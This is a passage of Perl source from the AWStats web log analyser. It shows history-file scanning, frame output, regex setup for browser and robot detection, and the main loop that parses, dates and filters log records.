if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
unlink "$newhistory";
error(
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
. (
$ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
)
. " or file might be opened."
);
}
if ($EnableLockForUpdate) { &Lock_Update(0); }
print "Migration for file '$MigrateStats' successful.";
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
&html_end(1);
exit 0;
}
# Output main frame page and exit. This must be after the security check.
if ( $FrameName eq 'index' ) {
# Define the NewLinkParams for main chart
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
# Exit if main frame
print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
print "<frame name=\"mainleft\" src=\""
. XMLEncode("$AWScript${NewLinkParams}framename=mainleft")
. "\" noresize=\"noresize\" frameborder=\"0\" />\n";
print "<frame name=\"mainright\" src=\""
. XMLEncode("$AWScript${NewLinkParams}framename=mainright")
. "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
print "<noframes><body>";
print "Your browser does not support frames.<br />\n";
print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
print "to see your reports.<br />\n";
print "</body></noframes>\n";
print "</frameset>\n";
&html_end(0);
exit 0;
}
%MonthNumLib = (
"01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
"04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
"07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
"10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
);
# Build ListOfYears list with all existing years
(
$lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
$lasthourbeforeupdate, $lastdatebeforeupdate
)
= ( 0, 0, 0, 0, 0 );
my $datemask = '';
if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; }
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
elsif ( $DatabaseBreak eq 'hour' ) {
$datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
}
if ($Debug) {
debug(
"Scan for last history files into DirData='$DirData' with mask='$datemask'"
);
}
my $retval = opendir( DIR, "$DirData" );
if(! $retval)
{
error( "Failed to open directory $DirData : $!");
}
my $regfilesuffix = quotemeta($FileSuffix);
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
file_filt sort readdir DIR )
{
/^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
# ListOfYears contains max month found
$ListOfYears{"$2"} = "$1";
}
my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
if ( $rangestring gt $lastdatebeforeupdate ) {
# We are on a new max for mask
$lastyearbeforeupdate = ( $2 || "" );
$lastmonthbeforeupdate = ( $1 || "" );
$lastdaybeforeupdate = ( $3 || "" );
$lasthourbeforeupdate = ( $4 || "" );
$lastdatebeforeupdate = $rangestring;
}
}
close DIR;
# If at least one file found, get value for LastLine
if ($lastyearbeforeupdate) {
# Read 'general' section of last history file for LastLine
&Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
$lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
}
# Warning if lastline in future
if ( $LastLine > ( $nowtime + 20000 ) ) {
warning(
"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
);
}
# Force LastLine
if ( $QueryString =~ /lastline=(\d{14})/i ) {
$LastLine = $1;
}
if ($Debug) {
debug("Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
debug("LastLine=$LastLine");
debug("LastLineNumber=$LastLineNumber");
debug("LastLineOffset=$LastLineOffset");
debug("LastLineChecksum=$LastLineChecksum");
}
# Init vars
&Init_HashArray();
#------------------------------------------
# UPDATE PROCESS
#------------------------------------------
my $lastlinenb = 0;
my $lastlineoffset = 0;
my $lastlineoffsetnext = 0;
if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
{ # Update only on index page or when not framed to avoid update twice
my %MonthNum = (
"Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
"mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
"Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
"aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
"Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
)
; # MonthNum must be in english because used to translate log date in apache log files
if ( !scalar keys %HTMLOutput ) {
print
"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
print "From data in log file \"$LogFile\"...\n";
}
my $lastprocessedyear = $lastyearbeforeupdate || 0;
my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
my $lastprocessedday = $lastdaybeforeupdate || 0;
my $lastprocessedhour = $lasthourbeforeupdate || 0;
my $lastprocesseddate = '';
if ( $DatabaseBreak eq 'month' ) {
$lastprocesseddate =
sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
}
elsif ( $DatabaseBreak eq 'year' ) {
$lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
}
elsif ( $DatabaseBreak eq 'day' ) {
$lastprocesseddate = sprintf( "%04i%02i%02i",
$lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$lastprocesseddate = sprintf(
"%04i%02i%02i%02i",
$lastprocessedyear, $lastprocessedmonth,
$lastprocessedday, $lastprocessedhour
);
}
my @list;
# Init RobotsSearchIDOrder required for update process
@list = ();
if ( $LevelForRobotsDetection >= 1 ) {
foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
push @list, "listgen"; # Always added
}
foreach my $key (@list) {
push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
if ($Debug) {
debug(
"Add "
. @{"RobotsSearchIDOrder_$key"}
. " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
2
);
}
}
if ($Debug) {
debug(
"RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
1
);
}
# Init SearchEnginesIDOrder required for update process
@list = ();
if ( $LevelForSearchEnginesDetection >= 1 ) {
foreach ( 1 .. $LevelForSearchEnginesDetection ) {
push @list, "list$_";
}
push @list, "listgen"; # Always added
}
foreach my $key (@list) {
push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
if ($Debug) {
debug(
"Add "
. @{"SearchEnginesSearchIDOrder_$key"}
. " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
2
);
}
}
if ($Debug) {
debug(
"SearchEnginesSearchIDOrder has now "
. @SearchEnginesSearchIDOrder
. " elements",
1
);
}
# Complete HostAliases array
my $sitetoanalyze = quotemeta( lc($SiteDomain) );
if ( !@HostAliases ) {
warning(
"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
);
push @HostAliases, qr/^$sitetoanalyze$/i;
push @HostAliases, qr/^localhost$/i;
push @HostAliases, qr/^127\.0\.0\.1$/i;
}
else {
unshift @HostAliases, qr/^$sitetoanalyze$/i;
} # Add SiteDomain as first value
# Optimize arrays
@HostAliases = &OptimizeArray( \@HostAliases, 1 );
if ($Debug) {
debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
}
@SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
if ($Debug) {
debug(
"SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
1
);
}
@SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
if ($Debug) {
debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
}
@SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
if ($Debug) {
debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
1 );
}
@SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
if ($Debug) {
debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
1 );
}
@SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
if ($Debug) {
debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
}
@OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
if ($Debug) {
debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
}
@OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
if ($Debug) {
debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
}
@OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
if ($Debug) {
debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
1 );
}
@OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
if ($Debug) {
debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
}
@NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
if ($Debug) {
debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
}
# Precompile the regex search strings with qr
@RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder;
@WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder;
@BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder;
@OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder;
@SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
my $miscquoted = quotemeta("$MiscTrackerUrl");
my $defquoted = quotemeta("/$DefaultFile[0]");
my $sitewithoutwww = lc($SiteDomain);
$sitewithoutwww =~ s/www\.//;
$sitewithoutwww = quotemeta($sitewithoutwww);
# Define precompiled regex
my $regmisc = qr/^$miscquoted/;
my $regfavico = qr/\/favicon\.ico$/i;
my $regrobot = qr/\/robots\.txt$/i;
my $regtruncanchor = qr/#(\w*)$/;
my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/;
my $regext = qr/\.(\w{1,6})$/;
my $regdefault;
if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
else { $regdefault = qr/$defquoted$/; }
my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
my $regipv6 = qr/^[0-9A-F]*:/i;
my $regveredge = qr/edge\/([\d]+)/i;
my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i;
#my $regvermsie11 = qr/trident\/7\.\d*\;([+_ ]|)rv:([\d\.]*)/i;
my $regvermsie11 = qr/trident\/7\.\d*\;([a-zA-Z;+_ ]+|)rv:([\d\.]*)/i;
my $regvernetscape = qr/netscape.?\/([\d\.]*)/i;
my $regverfirefox = qr/firefox\/([\d\.]*)/i;
# For Opera:
# OPR/15.0.1266 means Opera 15
# Opera/9.80 ...... Version/12.16 means Opera 12.16
# Mozilla/5.0 .... Opera 11.51 means Opera 11.51
my $regveropera = qr/opera\/9\.80\s.+\sversion\/([\d\.]+)|ope?ra?[\/\s]([\d\.]+)/i;
my $regversafari = qr/safari\/([\d\.]*)/i;
my $regversafariver = qr/version\/([\d\.]*)/i;
my $regverchrome = qr/chrome\/([\d\.]*)/i;
my $regverkonqueror = qr/konqueror\/([\d\.]*)/i;
my $regversvn = qr/svn\/([\d\.]*)/i;
my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i;
my $regnotie = qr/webtv|omniweb|opera/i;
my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i;
my $regnotfirefox = qr/flock/i;
my $regnotsafari = qr/android|arora|chrome|shiira|webpositive/i;
my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
my $reglocal = qr/^(www\.|)$sitewithoutwww/i;
my $regget = qr/get|out/i;
my $regsent = qr/sent|put|in/i;
# Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
&DefinePerlParsingFormat($LogFormat);
# Load DNS Cache Files
#------------------------------------------
if ($DNSLookup) {
&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
if ( $DNSLookup == 1 ) { # System DNS lookup required
#if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
#use Socket;
&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
"$FileSuffix", 0 )
; # Load with no save into a second plugin file. Use FileSuffix
}
}
# Processing log
#------------------------------------------
if ($EnableLockForUpdate) {
# Trap signals to remove lock
$SIG{INT} = \&SigHandler; # 2
#$SIG{KILL} = \&SigHandler; # 9
#$SIG{TERM} = \&SigHandler; # 15
# Set AWStats update lock
&Lock_Update(1);
}
if ($Debug) {
debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
}
# Open log file
if ($Debug) { debug("Open log file \"$LogFile\""); }
open( LOG, "$LogFile" )
|| error("Couldn't open server log file \"$LogFile\" : $!");
binmode LOG
; # Avoid premature EOF due to log files corrupted with \cZ or bin chars
# Define local variables for loop scan
my @field = ();
my $counterforflushtest = 0;
my $qualifdrop = '';
my $countedtraffic = 0;
# Reset chrono for benchmark (first call to GetDelaySinceStart)
&GetDelaySinceStart(1);
if ( !scalar keys %HTMLOutput ) {
print "Phase 1 : First bypass old records, searching new record...\n";
}
# Can we try a direct seek access in log ?
my $line;
if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
{
# Try a direct seek access to save time
if ($Debug) {
debug(
"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
);
}
seek( LOG, $LastLineOffset, 0 );
if ( $line = <LOG> ) {
chomp $line;
$line =~ s/\r$//;
@field = map( /$PerlParsingFormat/, $line );
if ($Debug) {
my $string = '';
foreach ( 0 .. @field - 1 ) {
$string .= "$fieldlib[$_]=$field[$_] ";
}
if ($Debug) {
debug( " Read line after direct access: $string", 1 );
}
}
my $checksum = &CheckSum($line);
if ($Debug) {
debug(
" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
1
);
}
if ( $checksum == $LastLineChecksum ) {
if ( !scalar keys %HTMLOutput ) {
print
"Direct access after last parsed record (after line $LastLineNumber)\n";
}
$lastlinenb = $LastLineNumber;
$lastlineoffset = $LastLineOffset;
$lastlineoffsetnext = tell LOG;
$NewLinePhase = 1;
}
else {
if ( !scalar keys %HTMLOutput ) {
print
"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
}
$lastlinenb = 0;
$lastlineoffset = 0;
$lastlineoffsetnext = 0;
seek( LOG, 0, 0 );
}
}
else {
if ( !scalar keys %HTMLOutput ) {
print
"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
}
$lastlinenb = 0;
$lastlineoffset = 0;
$lastlineoffsetnext = 0;
seek( LOG, 0, 0 );
}
}
else {
# No try of direct seek access
if ( !scalar keys %HTMLOutput ) {
print "Searching new records from beginning of log file...\n";
}
$lastlinenb = 0;
$lastlineoffset = 0;
$lastlineoffsetnext = 0;
}
#
# Loop on each log line
#
while ( $line = <LOG> ) {
# 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
my $FirstHexChar;
$FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
if ( $FirstHexChar eq '00' ) {
$NbOfLinesCorrupted++;
if ($ShowCorrupted) {
print "Corrupted record line "
. ( $lastlinenb + $NbOfLinesParsed )
. " (record starts with hex 00; binary code): $line\n";
}
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
&& $NbOfLinesParsed == $NbOfLinesCorrupted )
{
error( "Format error", $line, $LogFile );
} # Exit with format error
next;
}
# 20080525 END
chomp $line;
$line =~ s/\r$//;
if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
$NbOfLinesParsed++;
$lastlineoffset = $lastlineoffsetnext;
$lastlineoffsetnext = tell LOG;
if ($ShowSteps) {
if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
my $delay = &GetDelaySinceStart(0);
print "$NbOfLinesParsed lines processed ("
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
. int(
1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
)
. " lines/second)\n";
}
}
if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
my @fixField = map( /^#Fields: (.*)/, $line );
if ( $fixField[0] !~ /s-kernel-time/ ) {
debug( "Found new log format: '" . $fixField[0] . "'", 1 );
&DefinePerlParsingFormat( $fixField[0] );
}
}
# Parse line record to get all required fields
if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
# see if the line is a comment, blank or corrupted
if ( $line =~ /^#/ || $line =~ /^!/ ) {
$NbOfLinesComment++;
if ($ShowCorrupted){
print "Comment record line "
. ( $lastlinenb + $NbOfLinesParsed )
. ": $line\n";
}
}
elsif ( $line =~ /^\s*$/ ) {
$NbOfLinesBlank++;
if ($ShowCorrupted){
print "Blank record line "
. ( $lastlinenb + $NbOfLinesParsed )
. "\n";
}
}else{
$NbOfLinesCorrupted++;
if ($ShowCorrupted){
print "Corrupted record line "
. ( $lastlinenb + $NbOfLinesParsed )
. " (record format does not match LogFormat parameter): $line\n";
}
}
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
&& $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank))
{
error( "Format error", $line, $LogFile );
} # Exit with format error
if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
next;
}
if ($Debug) {
my $string = '';
foreach ( 0 .. @field - 1 ) {
$string .= "$fieldlib[$_]=$field[$_] ";
}
if ($Debug) {
debug(
" Correct format line "
. ( $lastlinenb + $NbOfLinesParsed )
. ": $string",
4
);
}
}
# Drop wrong virtual host name
#----------------------------------------------------------------------
if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
my $skip = 1;
foreach (@HostAliases) {
if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
}
if ($skip) {
$NbOfLinesDropped++;
if ($ShowDropped) {
print
"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
}
next;
}
}
# Drop wrong method/protocol
#---------------------------
if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
if (
$LogType eq 'W'
&& (
$field[$pos_method] eq 'GET'
|| $field[$pos_method] eq 'POST'
|| $field[$pos_method] eq 'HEAD'
|| $field[$pos_method] eq 'PROPFIND'
|| $field[$pos_method] eq 'CHECKOUT'
|| $field[$pos_method] eq 'LOCK'
|| $field[$pos_method] eq 'PROPPATCH'
|| $field[$pos_method] eq 'OPTIONS'
|| $field[$pos_method] eq 'MKACTIVITY'
|| $field[$pos_method] eq 'PUT'
|| $field[$pos_method] eq 'MERGE'
|| $field[$pos_method] eq 'DELETE'
|| $field[$pos_method] eq 'REPORT'
|| $field[$pos_method] eq 'MKCOL'
|| $field[$pos_method] eq 'COPY'
|| $field[$pos_method] eq 'RPC_IN_DATA'
|| $field[$pos_method] eq 'RPC_OUT_DATA'
|| $field[$pos_method] eq 'OK' # Webstar
|| $field[$pos_method] eq 'ERR!' # Webstar
|| $field[$pos_method] eq 'PRIV' # Webstar
)
)
{
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
}
elsif (
( $LogType eq 'W' || $LogType eq 'S' )
&& ( uc($field[$pos_method]) eq 'GET'
|| uc($field[$pos_method]) eq 'MMS'
|| uc($field[$pos_method]) eq 'RTSP'
|| uc($field[$pos_method]) eq 'HTTP'
|| uc($field[$pos_method]) eq 'RTP' )
)
{
# Streaming request (windows media server, realmedia or darwin streaming server)
}
elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
# Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
}
elsif (
$LogType eq 'F'
&& ( $field[$pos_method] eq 'RETR'
|| $field[$pos_method] eq 'D'
|| $field[$pos_method] eq 'o'
|| $field[$pos_method] =~ /$regget/o )
)
{
# FTP GET request
}
elsif (
$LogType eq 'F'
&& ( $field[$pos_method] eq 'STOR'
|| $field[$pos_method] eq 'U'
|| $field[$pos_method] eq 'i'
|| $field[$pos_method] =~ /$regsent/o )
)
{
# FTP SENT request
}
elsif($line =~ m/#Fields:/){
# log #fields as comment
$NbOfLinesComment++;
next;
}else{
$NbOfLinesDropped++;
if ($ShowDropped) {
print
"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
}
next;
}
# Reformat date for IIS date -DWG 12/8/2008
if($field[$pos_date] =~ /,/)
{
$field[$pos_date] =~ s/,//;
my @split_date = split(' ',$field[$pos_date]);
my @dateparts2= split('/',$split_date[0]);
my @timeparts2= split(':',$split_date[1]);
#add leading zero
for($dateparts2[0],$dateparts2[1], $timeparts2[0], $timeparts2[1], $timeparts2[2]) {
if($_ =~ /^.$/)
{
$_ = '0'.$_;
}
}
$field[$pos_date] = "$dateparts2[2]-$dateparts2[0]-$dateparts2[1] $timeparts2[0]:$timeparts2[1]:$timeparts2[2]";
}
$field[$pos_date] =~
tr/,-\/ \tT/::::::/s; # " \t" is used instead of "\s" not known with tr
my @dateparts =
split( /:/, $field[$pos_date] ); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
# Detected date format:
# dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
# DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS,
# YYYY-MM-DDTHH:MM:SS (iso)
if ( !$dateparts[1] ) { # Unix timestamp
(
$dateparts[5], $dateparts[4], $dateparts[3],
$dateparts[0], $dateparts[1], $dateparts[2]
)
= localtime( int( $field[$pos_date] ) );
$dateparts[1]++;
$dateparts[2] += 1900;
}
elsif ( $dateparts[0] =~ /^....$/ ) {
my $tmp = $dateparts[0];
$dateparts[0] = $dateparts[2];
$dateparts[2] = $tmp;
}
elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
$dateparts[2] += 2000;
my $tmp = $dateparts[0];
$dateparts[0] = $dateparts[1];
$dateparts[1] = $tmp;
}
elsif ( $dateparts[0] =~ /^...$/ ) {
my $tmp = $dateparts[0];
$dateparts[0] = $dateparts[1];
$dateparts[1] = $tmp;
$tmp = $dateparts[5];
$dateparts[5] = $dateparts[4];
$dateparts[4] = $dateparts[3];
$dateparts[3] = $dateparts[2];
$dateparts[2] = $tmp || $nowyear;
}
if ( exists( $MonthNum{ $dateparts[1] } ) ) {
$dateparts[1] = $MonthNum{ $dateparts[1] };
} # Change lib month in num month if necessary
if ( $dateparts[1] <= 0 )
{ # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
$NbOfLinesCorrupted++;
if ($ShowCorrupted) {
print "Corrupted record line "
. ( $lastlinenb + $NbOfLinesParsed )
. " (bad date format for month, may be month are not in english ?): $line\n";
}
next;
}
# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
@dateparts = ChangeTime_timezone( \@dateparts );
}
my $yearrecord = int( $dateparts[2] );
my $monthrecord = int( $dateparts[1] );
my $dayrecord = int( $dateparts[0] );
my $hourrecord = int( $dateparts[3] );
my $daterecord = '';
if ( $DatabaseBreak eq 'month' ) {
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
}
elsif ( $DatabaseBreak eq 'year' ) {
$daterecord = sprintf( "%04i%", $yearrecord );
}
elsif ( $DatabaseBreak eq 'day' ) {
$daterecord =
sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$daterecord = sprintf( "%04i%02i%02i%02i",
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
# TODO essayer de virer yearmonthrecord
my $yearmonthdayrecord =
sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
my $timerecord =
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
$dateparts[4] ) * 100 + $dateparts[5];
# Check date
#-----------------------
if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
$yearrecord--;
if ( $DatabaseBreak eq 'month' ) {
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
}
elsif ( $DatabaseBreak eq 'year' ) {
$daterecord = sprintf( "%04i%", $yearrecord );
}
elsif ( $DatabaseBreak eq 'day' ) {
$daterecord = sprintf( "%04i%02i%02i",
$yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$daterecord = sprintf( "%04i%02i%02i%02i",
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
# TODO essayer de virer yearmonthrecord
$yearmonthdayrecord =
sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
$timerecord =
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
$dateparts[4] ) * 100 + $dateparts[5];
}
if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
$NbOfLinesCorrupted++;
if ($ShowCorrupted) {
print
"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
}
next; # Should not happen, kept in case of parasite/corrupted line
}
if ($NewLinePhase) {
# TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
# Should not happen, kept in case of parasite/corrupted old line
$NbOfLinesCorrupted++;
if ($ShowCorrupted) {
print
"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
}
next;
}
}
else {
if ( $timerecord <= $LastLine ) { # Already processed
$NbOfOldLines++;
next;
}
# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
$NewLinePhase = 1; # We will never enter here again
if ($ShowSteps) {
if ( $NbOfLinesShowsteps > 1
&& ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
{
my $delay = &GetDelaySinceStart(0);
print ""
. ( $NbOfLinesParsed - 1 )
. " lines processed ("
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
. int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
( $delay > 0 ? $delay : 1000 ) )
. " lines/second)\n";
}
&GetDelaySinceStart(1);
$NbOfLinesShowsteps = 1;
}
if ( !scalar keys %HTMLOutput ) {
print
"Phase 2 : Now process new records (Flush history on disk after "
. ( $LIMITFLUSH << 2 )
. " hosts)...\n";
#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
}
}
# Convert URL for Webstar to common URL
if ( $LogFormat eq '3' ) {
$field[$pos_url] =~ s/:/\//g;
if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
}
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
if ($Debug) {
debug( " This is a not already processed record ($timerecord)",
4 );
}
# Check if there's a CloudFlare Visitor IP in the query string
# If it does, replace the ip
if ( $pos_query >= 0 && $field[$pos_query] && $field[$pos_query] =~ /\[CloudFlare_Visitor_IP[:](\d+[.]\d+[.]\d+[.]\d+)\]/ ) {
$field[$pos_host] = "$1";
}
# We found a new line
#----------------------------------------
if ( $timerecord > $LastLine ) {
$LastLine = $timerecord;
} # Test should always be true except with not sorted log files
# Skip for some client host IP addresses, some URLs, other URLs
if (
@SkipHosts
&& ( &SkipHost( $field[$pos_host] )
|| ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
)
{
$qualifdrop =
"Dropped record (host $field[$pos_host]"
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
. " not qualified by SkipHosts)";
}
elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
$qualifdrop =
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
}
elsif (@SkipUserAgents
&& $pos_agent >= 0
&& &SkipUserAgent( $field[$pos_agent] ) )
{
$qualifdrop =
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
}
elsif (@SkipReferrers
&& $pos_referer >= 0
&& &SkipReferrer( $field[$pos_referer] ) )
{
$qualifdrop =
"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
}
elsif (@OnlyHosts
&& !&OnlyHost( $field[$pos_host] )
&& ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
{
$qualifdrop =
"Dropped record (host $field[$pos_host]"
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
. " not qualified by OnlyHosts)";
}
